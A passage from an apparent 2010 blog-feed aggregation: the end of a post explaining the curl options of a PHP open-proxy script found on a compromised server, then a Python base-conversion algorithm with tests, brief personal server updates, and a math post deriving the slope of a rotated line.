&lt;li&gt;Option 13 (&lt;strong&gt;CURLOPT_TIMEOUT&lt;/strong&gt; =&amp;gt; 15): Sets the timeout for the Curl request to 15 seconds.&lt;/li&gt;
&lt;li&gt;Option 19913 (&lt;strong&gt;CURLOPT_RETURNTRANSFER&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Returns the value of &lt;a href=&quot;http://www.php.net/manual/en/function.curl-exec.php&quot;&gt;curl_exec&lt;/a&gt; as a string.&lt;/li&gt;
&lt;li&gt;Option 42 (&lt;strong&gt;CURLOPT_HEADER&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Includes the header in the output.&lt;/li&gt;
&lt;li&gt;Option 53 (&lt;strong&gt;CURLOPT_TRANSFERTEXT&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Uses ASCII mode for FTP transfers.&lt;/li&gt;
&lt;li&gt;Option 52 (&lt;strong&gt;CURLOPT_FOLLOWLOCATION&lt;/strong&gt; =&amp;gt; 0): Does not follow &amp;#8216;Location:&amp;#8217; header fields.&lt;/li&gt;
&lt;li&gt;Option 19914 (&lt;strong&gt;CURLOPT_BINARYTRANSFER&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Returns raw output in conjunction with option 19913 (CURLOPT_RETURNTRANSFER)&lt;/li&gt;
&lt;li&gt;Option 64 (&lt;strong&gt;CURLOPT_SSL_VERIFYPEER&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Verifies the site&amp;#8217;s SSL certificate to be valid.&lt;/li&gt;
&lt;li&gt;Option 81 (&lt;strong&gt;CURLOPT_SSL_VERIFYHOST&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Verifies the correct SSL hostname for the certificate.&lt;/li&gt;
&lt;li&gt;Option 10023 (&lt;strong&gt;CURLOPT_HTTPHEADER&lt;/strong&gt;): Sets the HTTP header sent as follows:
&lt;ul&gt;
&lt;li&gt;&amp;#8220;Accept: */*&amp;#8221;: Specifies that all media is acceptable for response from the HTTP request&lt;/li&gt;
&lt;li&gt;&amp;#8220;Accept-Language: en-us&amp;#8221;: Specifies that we are looking for an English return.&lt;/li&gt;
&lt;li&gt;&amp;#8220;Connection: keep-alive&amp;#8221;: Specifies that we want a persistent connection (multiple responses/downloads in one thread of the server essentially).&lt;/li&gt;
&lt;li&gt;&amp;#8220;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&amp;amp;amp;T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)&amp;#8221;: A bogus user agent&lt;/li&gt;
&lt;li&gt;&amp;#8220;Expect: &amp;#8220;: Indicates that no behavior is required by the client.&lt;/li&gt;
&lt;li&gt;&amp;#8220;Accept-Encoding: &amp;#8220;: Indicates that we accept all encoding.&lt;/li&gt;
&lt;li&gt;&amp;#8220;Keep Alive: 115&amp;#8243;: Sets a keep-alive timeout of 115.&lt;/li&gt;
&lt;li&gt;&amp;#8220;Referer: &amp;lt;cut for clarity:  see in source above&amp;gt;&amp;#8221;: Sets a seemingly bogus referer, although this may be legit in some cases.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Option 10102 (&lt;strong&gt;CURLOPT_ENCODING&lt;/strong&gt; =&amp;gt; &amp;#8220;&amp;#8221;): If this is set to &amp;#8220;&amp;#8221;, a header that accepts all &amp;#8220;Accept Encoding&amp;#8221; header values is sent.&lt;/li&gt;
&lt;li&gt;Option 47 (&lt;strong&gt;CURLOPT_POST&lt;/strong&gt; =&amp;gt; 0): We are not doing a HTTP post.&lt;/li&gt;
&lt;li&gt;Option 10002 (&lt;strong&gt;CURLOPT_URL&lt;/strong&gt;): Sets the URL to fetch.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you would like to see a mapping of integer=&amp;gt;constant name for the curl curl options in PHP, you can &lt;a href=&quot;http://alanp.ca/blog/feed/ http://alanp.ca/blog/curl_setopt-numerical-values/&quot;&gt;find that here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It looks like in this case, the attacker was using Google Translate to fetch a website and translate it into another language.  In this case, the payload of the attack is not as important as the implications of finding this file and the outcome it could have on your server and the users hosted on it.&lt;/p&gt;
&lt;p&gt;I think the moral of the story here is to watch out for what your users may be uploading to your servers.  This two line file essentially turned one of our machines into an open proxy server for whoever was privy to the URL of this script.  It is better to be proactive in searching for these than it is to sit around and wait for a datacenter to give you a ring.  Of course, you can&amp;#8217;t always find them in time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;References and Attributions:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://php.net/manual/en/function.curl-setopt.php&quot;&gt;PHP: curl_setopt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://php.net/manual/en/function.curl-setopt.php&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616.html&quot;&gt;RFC2616: Hypertext Transfer Protocol &amp;#8212; HTTP/1.1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Chomped computer image at the top of the article is from the &lt;a href=&quot;http://tango.freedesktop.org/&quot;&gt;Tango&lt;/a&gt; project, modified by &lt;a href=&quot;http://commons.wikimedia.org/wiki/User:Slady&quot;&gt;slady&lt;/a&gt;.  Licensed under the &lt;a href=&quot;http://creativecommons.org/&quot;&gt;Creative Commons&lt;/a&gt;-BY-SA-2.5 License.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Falanp.ca%2Fblog%2F2010%2F07%2F13%2Funobfuscating-an-attack%2F&amp;amp;linkname=Unobfuscating%20an%20Attack&quot;&gt;&lt;img src=&quot;http://alanp.ca/blog/wp-content/plugins/add-to-any/share_save_171_16.png&quot; width=&quot;171&quot; height=&quot;16&quot; alt=&quot;Share/Bookmark&quot; /&gt;&lt;/a&gt; &lt;/p&gt;</content>
		<author>
			<name>Alan P. Laudicina</name>
			<uri>http://alanp.ca/blog</uri>
		</author>
		<source>
			<title type="html">alanp.ca : blog</title>
			<subtitle type="html">The world, according to alanp</subtitle>
			<link rel="self" href="http://alanp.ca/blog/feed/"/>
			<id>http://alanp.ca/blog/feed/</id>
			<updated>2010-07-13T14:00:11+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Algorithms in Python: Base Expansion</title>
		<link href="http://blog.madpython.com/2010/07/10/algorithms-in-python-base-expansion/"/>
		<id>http://blog.madpython.com/?p=111</id>
		<updated>2010-07-11T00:53:49+00:00</updated>
		<content type="html">&lt;p&gt;I felt it would be helpful to folks interested in Python and studying algorithms, to review some commonly studied algorithms in Computer Science by providing a small description and a Python implementation of each algorithm.&lt;/p&gt;
&lt;p&gt;This week, we&amp;#8217;ll cover an introductory algorithm for converting from one numeral base to another. Here is the python code:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Simple implementation of a base expansion algorithm&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;math&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;def&lt;/span&gt; base_expand&lt;span&gt;&amp;#40;&lt;/span&gt;base, val&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;This simple function performs a base-expansion from decimal
    using moduli and a translation table. The translation table is
    a clear limitation here, in that it implies the maximum base
    is 36.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;if&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;base &lt;span&gt;&amp;lt;&lt;/span&gt; &lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;or&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;base &lt;span&gt;&amp;gt;&lt;/span&gt; &lt;span&gt;36&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;raise&lt;/span&gt; BaseOutOfBoundsError&lt;span&gt;&amp;#40;&lt;/span&gt;base&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    trans_table = &lt;span&gt;'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'&lt;/span&gt;
    res = &lt;span&gt;''&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;while&lt;/span&gt; val &lt;span&gt;!&lt;/span&gt;= &lt;span&gt;0&lt;/span&gt;:
        res += trans_table&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;val &lt;span&gt;%&lt;/span&gt; base&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
        val = &lt;span&gt;math&lt;/span&gt;.&lt;span&gt;floor&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;val / base&lt;span&gt;&amp;#41;&lt;/span&gt;
    &lt;span&gt;return&lt;/span&gt; res&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;class&lt;/span&gt; BaseOutOfBoundsError&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;Exception&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Base must be between 2 and 36&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span&gt;def&lt;/span&gt; &lt;span&gt;__init__&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;, val&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;val&lt;/span&gt; = val
    &lt;span&gt;def&lt;/span&gt; &lt;span&gt;__str__&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;print&lt;/span&gt; &lt;span&gt;&amp;quot;&lt;span&gt;\n&lt;/span&gt;Invalid base: %s. Base must be (x | x &amp;gt; 1; x &amp;lt; 37)&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; \
            &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;val&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here is a unit-test for base_expand.py:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Unit tests for base_expansion.py&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;unittest&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; base_expansion &lt;span&gt;import&lt;/span&gt; base_expand, BaseOutOfBoundsError
&amp;nbsp;
&lt;span&gt;# Unit tests for base_expansion.py&lt;/span&gt;
&lt;span&gt;class&lt;/span&gt; TestVals&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;TestCase&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Test suite&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_known_values&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Testing against known values&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        vals = &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#123;&lt;/span&gt;&lt;span&gt;'val'&lt;/span&gt;: &lt;span&gt;8&lt;/span&gt;, &lt;span&gt;'base'&lt;/span&gt;: &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;'expect'&lt;/span&gt;: &lt;span&gt;'1000'&lt;/span&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;,
            &lt;span&gt;&amp;#123;&lt;/span&gt;&lt;span&gt;'val'&lt;/span&gt;: &lt;span&gt;915652&lt;/span&gt;, &lt;span&gt;'base'&lt;/span&gt;: &lt;span&gt;16&lt;/span&gt;, &lt;span&gt;'expect'&lt;/span&gt;: &lt;span&gt;'DF8C4'&lt;/span&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;,
            &lt;span&gt;&amp;#123;&lt;/span&gt;&lt;span&gt;'val'&lt;/span&gt;: &lt;span&gt;256&lt;/span&gt;, &lt;span&gt;'base'&lt;/span&gt;: &lt;span&gt;10&lt;/span&gt;, &lt;span&gt;'expect'&lt;/span&gt;: &lt;span&gt;'256'&lt;/span&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;,
            &lt;span&gt;&amp;#123;&lt;/span&gt;&lt;span&gt;'val'&lt;/span&gt;: &lt;span&gt;88189&lt;/span&gt;, &lt;span&gt;'base'&lt;/span&gt;: &lt;span&gt;8&lt;/span&gt;, &lt;span&gt;'expect'&lt;/span&gt;: &lt;span&gt;'254175'&lt;/span&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;for&lt;/span&gt; val &lt;span&gt;in&lt;/span&gt; vals:
            &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;assertEqual&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;val&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'expect'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, \
                base_expand&lt;span&gt;&amp;#40;&lt;/span&gt;val&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'base'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, val&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'val'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_invalid_base&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot; Testing invalid bases &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bases = &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;37&lt;/span&gt;, &lt;span&gt;50&lt;/span&gt;, &lt;span&gt;100&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
        &lt;span&gt;for&lt;/span&gt; base &lt;span&gt;in&lt;/span&gt; bases:
            &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;assertRaises&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;BaseOutOfBoundsError, base_expand, \
                base, &lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;if&lt;/span&gt; &lt;span&gt;'__main__'&lt;/span&gt; == __name__:
    &lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;main&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;Google Buzz&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google_buzz.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Buzz&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt; &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save&quot;&gt;Share&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Related posts:&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/07/17/algorithms-in-python-binary-operations/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Algorithms in Python: Binary Operations&quot;&gt;Algorithms in Python: Binary Operations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/08/07/algorithms-in-python-binary-exponentiation/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Algorithms in Python: Binary exponentiation&quot;&gt;Algorithms in Python: Binary exponentiation&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2010-09-07T16:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">www.sandmines.org</title>
		<link href="http://blog.sandmines.org/?q=node/2"/>
		<id>http://blog.sandmines.org/2 at http://blog.sandmines.org</id>
		<updated>2010-07-04T22:37:16+00:00</updated>
		<content type="html">&lt;p&gt;Is now up and running. There is basically no content yet, but its all set up.&lt;br /&gt;
 The server is a dual-processor xeon 2.4ghz, and each cpu is hyper-threaded. It has a redundant power supply as well, and connects to my lan via a gigabit network card.&lt;br /&gt;
 Its running on a 36gb 160mb/s 10k rpm scsi drive, with 2 x 72gb 160mb/s 10k rpm scsi drives on a hardware pci-X raid card which mirrors these drives.&lt;br /&gt;
 The mirror holds my mysql database, as well as my svn repo and other things I need a redundant copy of. This mirrored drive is rsync'd to another computer hourly.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.sandmines.org/?q=node/2&quot; target=&quot;_blank&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content>
		<author>
			<name>Brad Bobak</name>
			<uri>http://blog.sandmines.org</uri>
		</author>
		<source>
			<title type="html">www.sandmines.org</title>
			<link rel="self" href="http://blog.sandmines.org/?q=rss.xml"/>
			<id>http://blog.sandmines.org/?q=rss.xml</id>
			<updated>2010-08-14T11:00:05+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">sandmines server back up</title>
		<link href="http://blog.sandmines.org/?q=node/1"/>
		<id>http://blog.sandmines.org/1 at http://blog.sandmines.org</id>
		<updated>2010-06-29T06:29:32+00:00</updated>
		<content type="html">&lt;p&gt;I've migrated my server to a dual xeon 2.4ghz gateway server. Unfortunately, all my content has been lost, but there wasn't really alot anyhow :) This server should be fully functional in a few days.&lt;/p&gt;</content>
		<author>
			<name>Brad Bobak</name>
			<uri>http://blog.sandmines.org</uri>
		</author>
		<source>
			<title type="html">www.sandmines.org</title>
			<link rel="self" href="http://blog.sandmines.org/?q=rss.xml"/>
			<id>http://blog.sandmines.org/?q=rss.xml</id>
			<updated>2010-08-14T11:00:05+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Rotating Lines</title>
		<link href="http://blog.mavrinac.com/2010/06/rotating-lines/"/>
		<id>http://blog.mavrinac.com/?p=183</id>
		<updated>2010-06-28T13:28:38+00:00</updated>
		<content type="html">&lt;p&gt;&lt;b&gt;Problem:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Given a line of slope &lt;i&gt;m&lt;/i&gt; in the Euclidean plane, what is the slope &lt;i&gt;m&amp;#8217;&lt;/i&gt; of the line rotated (counterclockwise) by angle &lt;i&gt;&amp;theta;&lt;/i&gt;?&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Solution:&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Suppose we have an equation for the line of the form &lt;i&gt;y&lt;/i&gt; = &lt;i&gt;mx&lt;/i&gt; + &lt;i&gt;b&lt;/i&gt;. We can ignore &lt;i&gt;b&lt;/i&gt; as it is unrelated to the slope (in effect, we are working in an &lt;a href=&quot;http://en.wikipedia.org/wiki/Affine_space&quot;&gt;affine space&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;So, &lt;i&gt;y&lt;/i&gt; = &lt;i&gt;mx&lt;/i&gt; for our purposes. Every point satisfying this equation is a multiple of&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cleft%5B%5Cbegin%7Barray%7D%7Bc%7D1%20%5C%5C%20m%5Cend%7Barray%7D%5Cright%5D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\left[\begin{array}{c}1 \\ m\end{array}\right]&quot; title=&quot;\left[\begin{array}{c}1 \\ m\end{array}\right]&quot; class=&quot;latex&quot; /&gt;&lt;/p&gt;
&lt;p&gt;and, similarly, every point satisfying the equation &lt;i&gt;y&lt;/i&gt; = &lt;i&gt;m&amp;#8217;x&lt;/i&gt; of the rotated line is a multiple of&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cleft%5B%5Cbegin%7Barray%7D%7Bc%7D1%20%5C%5C%20m%27%5Cend%7Barray%7D%5Cright%5D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\left[\begin{array}{c}1 \\ m&amp;#039;\end{array}\right]&quot; title=&quot;\left[\begin{array}{c}1 \\ m&amp;#039;\end{array}\right]&quot; class=&quot;latex&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since the latter point is the image of the former after rotation by &lt;i&gt;&amp;theta;&lt;/i&gt;, the points are related by a &lt;a href=&quot;http://en.wikipedia.org/wiki/Rotation_matrix&quot;&gt;rotation matrix&lt;/a&gt;, like so:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cleft%5B%5Cbegin%7Barray%7D%7Bc%7D1%20%5C%5C%20m%27%5Cend%7Barray%7D%5Cright%5D%20%3D%20%5Cleft%5B%5Cbegin%7Barray%7D%7Bcc%7D%5Ccos%5Ctheta%20%26%20-%5Csin%5Ctheta%20%5C%5C%20%5Csin%5Ctheta%20%26%20%5Ccos%5Ctheta%5Cend%7Barray%7D%5Cright%5D%20%5Cleft%5B%5Cbegin%7Barray%7D%7Bc%7D1%20%5C%5C%20m%5Cend%7Barray%7D%5Cright%5D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\left[\begin{array}{c}1 \\ m&amp;#039;\end{array}\right] = \left[\begin{array}{cc}\cos\theta &amp;amp; -\sin\theta \\ \sin\theta &amp;amp; \cos\theta\end{array}\right] \left[\begin{array}{c}1 \\ m\end{array}\right]&quot; title=&quot;\left[\begin{array}{c}1 \\ m&amp;#039;\end{array}\right] = \left[\begin{array}{cc}\cos\theta &amp;amp; -\sin\theta \\ \sin\theta &amp;amp; \cos\theta\end{array}\right] \left[\begin{array}{c}1 \\ m\end{array}\right]&quot; class=&quot;latex&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Solving for &lt;i&gt;m&amp;#8217;&lt;/i&gt; then yields&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://s.wordpress.com/latex.php?latex=m%27%20%3D%20%5Cfrac%7B%5Csin%5Ctheta%20%2B%20m%5Ccos%5Ctheta%7D%7B%5Ccos%5Ctheta%20-%20m%5Csin%5Ctheta%7D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;m&amp;#039; = \frac{\sin\theta + m\cos\theta}{\cos\theta - m\sin\theta}&quot; title=&quot;m&amp;#039; = \frac{\sin\theta + m\cos\theta}{\cos\theta - m\sin\theta}&quot; class=&quot;latex&quot; /&gt;&lt;/p&gt;
&lt;p&gt;which, of course, is our solution in terms of &lt;i&gt;m&lt;/i&gt; and &lt;i&gt;&amp;theta;&lt;/i&gt;.&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2010-06-28T14:00:30+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">So Close, Yet So Far Away</title>
		<link href="http://blog.mavrinac.com/2010/06/so-close-yet-so-far-away/"/>
		<id>http://blog.mavrinac.com/?p=177</id>
		<updated>2010-06-15T20:01:17+00:00</updated>
